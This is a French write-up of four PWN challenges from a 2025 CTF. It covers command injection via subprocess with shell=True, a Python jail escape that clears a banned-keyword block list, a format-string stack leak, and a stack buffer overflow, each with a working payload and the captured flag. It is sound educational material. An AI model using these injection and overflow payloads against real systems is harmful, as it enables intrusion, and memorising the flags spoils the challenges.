Writeup PWN - Edition 2025
Dans cet article, nous vous présenterons les différentes solutions aux challenges du Jeanne d’Hack CTF 2025 pour la catégorie PWN.
Echo Service
Les sources du challenge sont disponibles ici.
Énoncé
Vous avez été embauché comme pirate informatique dans un monde dystopique où les technologies avancées ont créé une société divisée entre les riches et les pauvres. Un de vos objectifs est d’accéder à la puissance de l’élite en exploitant un logiciel python vulnérable qui se trouve sur un serveur distant.
Vous avez réussi à récupèrer une copie du programme en question (echo.py).
Avec l’aide de vos connaissances en hacking, vous devrez utiliser tous les moyens à votre disposition pour remplir votre mission et détrôner le gouvernement oppressif qui a longtemps régné sur cette dystopie. Nous sommes dans une bataille entre l’ordre et la révolution, et il ne peut y avoir qu’un vainqueur. Allez-y, pirate, libérez les esprits et faites progresser la liberté dans ce monde cyberpunk.
Pour vous connecter au service distant:
netcat 127.0.0.1 9000
Le flag est contenu dans le fichier flag.txt.
Pour ce premier challenge, on nous fournit le programme Python suivant:
import subprocess
BANNER = """
_____ _ _____ _
| ___| | | / ___| (_)
| |__ ___| |__ ___ \ `--. ___ _ ____ ___ ___ ___
| __|/ __| '_ \ / _ \ `--. \/ _ \ '__\ \ / / |/ __/ _ \\
| |__| (__| | | | (_) | /\__/ / __/ | \ V /| | (_| __/
\____/\___|_| |_|\___/ \____/ \___|_| \_/ |_|\___\___|
"""
def main():
try:
print(BANNER)
print('Enter something:')
arg = input('> ')
command = "echo " + arg
result = subprocess.check_output(command, shell=True)
print('You entered:', result.decode(), end='')
print('Bye')
except:
print('O_o something went wrong!')
if __name__ == '__main__':
main()
Le programme lit une entrée utilisateur via la fonction input
, la concatène à la chaîne “echo " avant de la passer en
paramètre de la fonction check_output
du module subprocess
. Si l’on exécute le programme en entrant
“Hello World”, on obtient ceci :
Enter something:
> Hello World
You entered: Hello World
Bye
Jusque-là, rien d’extraordinaire. Cependant, si l’on examine le paramètre supplémentaire de check_output
, à savoir shell=True
,
et que l’on consulte la documentation associée, on peut lire ici :
Security Considerations
Unlike some other popen functions, this library will not implicitly choose to call a system shell. This means that all characters, including shell metacharacters, can safely be passed to child processes. If the shell is invoked explicitly, via shell=True, it is the application’s responsibility to ensure that all whitespace and metacharacters are quoted appropriately to avoid shell injection vulnerabilities. On some platforms, it is possible to use shlex.quote() for this escaping.
Cela implique que les caractères saisis dans la console seront interprétés par check_output
. En conséquence, le programme
est exposé à une vulnérabilité d’injection de commande. Il est possible d’afficher le contenu du fichier flag.txt
de la manière suivante :
Enter something:
> Hello World; cat flag.txt
You entered: Hello World
JDHACK{ECHo_S3RviCE_Ha5_F@lleN}
Bye
On obtient le flag JDHACK{ECHo_S3RviCE_Ha5_F@lleN}
.
PyJail
Les sources du challenge sont disponibles ici.
Énoncé
Après avoir réussi à compromettre le processus vulnérable Python, vous avez pu prendre le contrôle du système et accéder aux ressources les plus précieuses de la société. Cependant, ce n’est pas tout : le programme qui a été compromis est uniquement une partie de la plateforme centrale des opérations.
Vous avez appris que l’existence d’un second logiciel, encore plus difficile à infiltrer, se trouve dans le cœur du réseau des opérations de contrôle. Vous devrez donc utiliser tous les moyens à votre disposition pour trouver une faiblesse dans ce programme.
Vous avez réussi à récupèrer une copie du programme en question (jail.py).
Allez-y, pirate, nous devons gagner cette bataille pour la liberté et le progrès de tous les citoyens de ce monde.
Pour vous connecter au service distant:
netcat 127.0.0.1 9002
Le flag est contenu dans le fichier flag.txt.
Pour ce second challenge, on retrouve une nouvelle fois un programme écrit en Python contenant le code suivant :
BANNER = """
__________ ____. .__.__
\______ \___.__. | |____ |__| |
| ___< | | | \__ \ | | |
| | \___ /\__| |/ __ \| | |__
|____| / ____\________(____ /__|____/
\/ \/
"""
banned = ["import", "os", "sys", "system", "subprocess", "pty", "open", "popen", "read" ]
def main():
print(BANNER)
print("Write the code you want to test after:")
try:
while True:
code = input('>>> ')
for keyword in banned:
if keyword in code:
print("WARNING: Escape detected!!!! Shuting down connection!")
exit(1)
exec(code, {'globals': globals()})
except Exception as e:
print('O_o something went wrong!')
print(e)
if __name__ == "__main__":
main()
La fonction exec
de permet d’exécuter du code Python dynamiquement. On pourrait donc lire le fichier flag.txt
via l’entrée
suivante : print(open('flag.txt', 'r').read())
. Cependant, lorsque l’on essaie cela sur le challenge, on obtient
la sortie suivante :
Write the code you want to test after:
>>> print(open('flag.txt', 'r').read())
WARNING: Escape detected!!!! Shuting down connection!
En effet, le programme filtre l’entrée utilisateur avant de l’envoyer à la fonction exec
. Si l’on veut pouvoir afficher
le flag, il faut que notre entrée ne contienne pas d’occurrences d’un élément dans banned
.
Cependant, on a accès au globals
(second paramètre de la fonction exec
), ce qui permet de rendre visibles les variables
globales ainsi que les modules. Il est donc possible d’écraser le tableau banned
afin d’exécuter le code que l’on souhaite :
Write the code you want to test after:
>>> globals['banned']=[]
>>> print(open('flag.txt', 'r').read())
JDHACK{HOw_d1d_Y0U_3ScApE_th!S_JA1L}
>>> exit()
On obtient ainsi notre flag JDHACK{HOw_d1d_Y0U_3ScApE_th!S_JA1L}
.
Fear My Thoughts
Les sources du challenge sont disponibles ici.
Énoncé
Dans cette période sombre, vous avez découvert un programme mystérieux qui s’active régulièrement sur les ordinateurs des citoyens. Le programme affiche simplement une phrase sur l’écran : My thoughts are messy and strange, can you read them?
Il est difficile de savoir ce que fait ce programme et pourquoi il s’active régulièrement. Cependant, vous avez découvert que certaines personnes qui ont été en contact avec le logiciel ont commencé à parler en rêve et à avoir des visions étranges et inquiétantes.
Ce programme est dangereux, mais aussi énigmatique : pourquoi les créateurs ont-ils choisi de le faire afficher simplement avec cette phrase ? Pourquoi les pensées des citoyens sont-elles si importantes ? Il semble qu’il y ait un mystère encore plus profond à dévoiler. Allez-y, pirate, vous devrez utiliser tous vos talents de hacker pour déchiffrer ce mystère et sauver l’esprit des citoyens.
Vous avez réussi à récupèrer une copie du programme (fear_my_thoughts).
Pour vous connecter au service distant:
netcat 127.0.0.1 9001
Ce challenge est le premier de sa catégorie à se présenter sous la forme d’un fichier exécutable plutôt que
d’un programme écrit en Python. Par conséquent, il est nécessaire d’utiliser un logiciel de rétro-ingénierie
tel que Ghidra pour l’analyser. Le programme inclut des symboles, ce qui facilite son analyse. La fonction
main
se présente sous le pseudo-code suivant :
int main(void) {
char user_input [32];
char thoughts [32];
create_thoughts(thoughts);
printf("\n%s\n",banner);
printf("My thoughts are messy and strange, can you read them?\n> ");
fflush(stdout);
fgets(user_input,0x20,stdin);
read_thoughts(thoughts,user_input);
printf("You make me pity. I give you one last chance\n> ");
fflush(stdout);
fgets(user_input,0x20,stdin);
read_thoughts(thoughts,user_input);
puts("Too bad!");
return 0;
}
Le programme commence par appeler la fonction create_thoughts
, puis il appelle deux fois la fonction read_thoughts
.
La première fonction contient le code suivant :
void create_thoughts(char *thoughts) {
byte random_bytes [40];
FILE *fp = fopen("/dev/urandom","rb");
if (fp != (FILE *)0x0) {
fread(random_bytes,0x20,1,fp);
for (int i = 0; i < 0x20; i = i + 1) {
char c = random_bytes[i] >> 1;
thoughts[i] = "JQCkK1ZAgVROjaWSvcYhw3XD0bMLlrUENytP7psTBo6umFfzdq2nx4iHeG9I58"
[(uint)random_bytes[i] +
(uint)(byte)((ushort)(((ushort)c * 0x20 + (ushort)c) * 4 + (ushort)c) >> 0xc) *
-0x3e & 0xff];
}
thoughts[31] = '\0';
fclose(fp);
}
return;
}
Le calcul qui peut sembler complexe est en réalité lié à une optimisation de l’opération modulo effectuée
par le compilateur. Même sans saisir ce détail, il est facile de comprendre le rôle de cette fonction : elle remplit
le paramètre thoughts
avec une chaîne alphabétique aléatoire à chaque exécution du programme.
Examinons maintenant la fonction read_thoughts
, qui contient le code suivant :
void read_thoughts(char *thoughts,char *user_input) {
char buffer [72];
int len = strlen(user_input);
if (len < 0x20) {
len = strlen(user_input);
}
else {
len = 0x20;
}
bool equal = strncmp(thoughts,user_input,len);
if (equal == 0) {
show_flag();
exit(0);
}
memcpy(buffer + 1,user_input,len);
memcpy(buffer + len,"\" you say? I don\'t think so\n",0x1c);
printf(buffer);
return;
}
Cette fonction compare la chaîne aléatoire générée par la fonction create_thoughts
avec l’entrée de
l’utilisateur. En cas d’égalité, le flag est affiché ; sinon, le programme concatène l’entrée de
l’utilisateur à une autre chaîne avant de la passer en premier paramètre à printf
. Nous avons donc
deux tentatives pour essayer de trouver la chaîne aléatoire.
La vulnérabilité du programme réside dans l’utilisation de printf
. En effet, l’utilisateur peut
contrôler le premier paramètre format
. Le premier argument de la fonction printf
en C est une
chaîne de format qui spécifie comment les arguments suivants doivent être affichés. Cette chaîne
peut contenir des spécificateurs de format, des textes littéraux et des caractères d’échappement.
Dans ce cas, buffer
est utilisé directement comme format pour printf
. Cela signifie que si un
utilisateur malveillant fournit une entrée dans buffer
contenant des spécificateurs de
format (comme %s
, %x
, etc.), cela peut permettre de lire ou d’écrire en mémoire.
Pour comprendre comment cette vulnérabilité peut être exploitée, il est nécessaire de saisir
comment des fonctions comme printf
récupèrent et traitent leurs arguments. La fonction printf
en C utilise un mécanisme appelé fonctions variadiques pour gérer un nombre variable d’arguments.
Cela signifie que printf
peut accepter un nombre d’arguments qui n’est pas fixé à l’avance,
ce qui est essentiel pour son fonctionnement.
La déclaration de printf
dans <stdio.h>
ressemble à ceci :
int printf(const char *format, ...);
Le premier argument est une chaîne de format, et le second argument (indiqué par ...
) signifie qu’il
peut y avoir un nombre variable d’arguments supplémentaires. Pour accéder à ces arguments
supplémentaires, printf
utilise les macros va_start
, va_list
, va_end
et va_arg
définies
dans le fichier d’en-tête <stdarg.h>
.
L’implémentation exacte de ces macros dépasse le cadre de cet article, mais en résumé, celle-ci passe
par l’utilisation de la pile. Au moment de l’appel à la fonction, les arguments variadiques sont
empilés et peuvent être récupérés grâce à va_arg
en fonction de leur type.
Par exemple, considérons le code suivant :
int foo = 42;
printf("Hello %s, you are %d years old.\n", "Alice", 30);
Au moment de l’appel de la fonction, la pile ressemblera à ceci :
|------------------|
| "Alice" | <- Argument variadique 1
|------------------|
| 30 | <- Argument variadique 2
|------------------|
| ... |
|------------------|
| foo | <- Adresse mémoire de foo
|------------------|
Par conséquent, il est possible de lire les valeurs en pile (comme la variable foo
) en détournant
l’utilisation légitime du paramètre format
. En effet, si l’on entre par exemple %x
dans le programme,
on obtiendra la sortie suivante :
█████▒▓█████ ▄▄▄ ██▀███ ███▄ ▄███▓▓██ ██▓ ▄▄▄█████▓ ██░ ██ ▒█████ █ ██ ▄████ ██░ ██ ▄▄▄█████▓ ██████
▓██ ▒ ▓█ ▀▒████▄ ▓██ ▒ ██▒ ▓██▒▀█▀ ██▒ ▒██ ██▒ ▓ ██▒ ▓▒▓██░ ██▒▒██▒ ██▒ ██ ▓██▒ ██▒ ▀█▒▓██░ ██▒▓ ██▒ ▓▒▒██ ▒
▒████ ░ ▒███ ▒██ ▀█▄ ▓██ ░▄█ ▒ ▓██ ▓██░ ▒██ ██░ ▒ ▓██░ ▒░▒██▀▀██░▒██░ ██▒▓██ ▒██░▒██░▄▄▄░▒██▀▀██░▒ ▓██░ ▒░░ ▓██▄
░▓█▒ ░ ▒▓█ ▄░██▄▄▄▄██ ▒██▀▀█▄ ▒██ ▒██ ░ ▐██▓░ ░ ▓██▓ ░ ░▓█ ░██ ▒██ ██░▓▓█ ░██░░▓█ ██▓░▓█ ░██ ░ ▓██▓ ░ ▒ ██▒
░▒█░ ░▒████▒▓█ ▓██▒░██▓ ▒██▒ ▒██▒ ░██▒ ░ ██▒▓░ ▒██▒ ░ ░▓█▒░██▓░ ████▓▒░▒▒█████▓ ░▒▓███▀▒░▓█▒░██▓ ▒██▒ ░ ▒██████▒▒
▒ ░ ░░ ▒░ ░▒▒ ▓▒█░░ ▒▓ ░▒▓░ ░ ▒░ ░ ░ ██▒▒▒ ▒ ░░ ▒ ░░▒░▒░ ▒░▒░▒░ ░▒▓▒ ▒ ▒ ░▒ ▒ ▒ ░░▒░▒ ▒ ░░ ▒ ▒▓▒ ▒ ░
░ ░ ░ ░ ▒ ▒▒ ░ ░▒ ░ ▒░ ░ ░ ░ ▓██ ░▒░ ░ ▒ ░▒░ ░ ░ ▒ ▒░ ░░▒░ ░ ░ ░ ░ ▒ ░▒░ ░ ░ ░ ░▒ ░ ░
░ ░ ░ ░ ▒ ░░ ░ ░ ░ ▒ ▒ ░░ ░ ░ ░░ ░░ ░ ░ ▒ ░░░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░
My thoughts are messy and strange, can you read them?
> %x
"99800f33" you say? I don't think so
You make me pity. I give you one last chance
La valeur 99800f33
correspond à une valeur présente sur la pile. Parmi les variables présentes dans
la pile au moment de l’exécution, il existe un pointeur vers la chaîne thoughts
, puisque celui-ci
a été utilisé précédemment dans le programme. On peut donc récupérer sa valeur via le premier appel
à read_thoughts
pour l’utiliser lors du second appel. On obtient alors ceci :
My thoughts are messy and strange, can you read them?
> %d%d%d%d%d%d %s
"-196803786328-196803786300-1164857392 b3iE7QGRTTi8ZU3CYGJF8GdYfaSr9dS" you say? I don't think so
You make me pity. I give you one last chance
> b3iE7QGRTTi8ZU3CYGJF8GdYfaSr9dS
JDHACK{my_tHoU6Ht5_ARE_Me5sy_AnD_d@RK}
On récupère ainsi notre flag : JDHACK{my_tHoU6Ht5_ARE_Me5sy_AnD_d@RK}
!
Special Value
Les sources du challenge sont disponibles ici.
Énoncé
Vous avez découvert un programme qui semble contenir des failles qui peuvent être exploitées pour obtenir une avance significative dans la bataille contre l’oppression. Vous devrez donc utiliser tous vos talents de hacker pour trouver une faille et en profiter pour obtenir la valeur ciblée.
Cependant, vous devrez agir avec précision et rapidité car les forces de l’ordre sont toujours en surveillance. Vous devrez donc trouver la faille, exploiter le programme et obtenir la valeur ciblée avant qu’ils ne vous découvrent et ne prennent des mesures pour arrêter votre action.
Vous avez réussi à récupèrer une copie du programme (special_value).
Pour vous connecter au service distant:
netcat 127.0.0.1 9003
Le flag est contenu dans le fichier flag.txt.
Ce programme est relativement simple puisqu’il est composé seulement de la fonction main
suivante:
int main(void) {
char buffer [128];
int x;
puts(banner);
puts("Do you know how to find the special value?");
memset(buffer,0,132);
printf("> ");
fflush(stdout);
read(0,buffer,132);
printf("x = %lx\n",x);
if (x == 0xdeadbeef) {
win(); // Print the flag
}
return 0;
}
En examinant le programme de près, on constate qu’il peut écrire jusqu’à 132 caractères dans un tableau dont la taille est
limitée à 128. Dépasser cette taille entraînera l’écrasement de la mémoire adjacente, y compris la variable x
. Cela
offre à un attaquant la possibilité de modifier la valeur de x
en écrivant des données au-delà de la fin de buffer
,
ce qui est précisément l’objectif du challenge. Ce phénomène est connu sous le nom de “dépassement de tampon”
(ou “Buffer Overflow” en anglais).
Ainsi, en envoyant 128 caractères de remplissage (padding), suivis de la valeur attendue en format little endian, il devient possible de récupérer le flag.
python -c 'import sys; sys.stdout.buffer.write(b"a"*128+b"\xef\xbe\xad\xde"+b"\n")' | netcat 127.0.0.1 9003
_____ _ ___ __ _
/ ____| (_) | \ \ / / | |
| (___ _ __ ___ ___ _ __ _| |\ \ / /_ _| |_ _ ___
\___ \| '_ \ / _ \/ __| |/ _` | | \ \/ / _` | | | | |/ _ \
____) | |_) | __/ (__| | (_| | | \ / (_| | | |_| | __/
|_____/| .__/ \___|\___|_|\__,_|_| \/ \__,_|_|\__,_|\___|
| |
|_|
Do you know how to find the special value?
> x = deadbeef
Here is your flag:
JDHACK{You_D1d_FOUND_my_SpecIaL_v4lu3}
On obtient alors notre flag: JDHACK{You_D1d_FOUND_my_SpecIaL_v4lu3}
!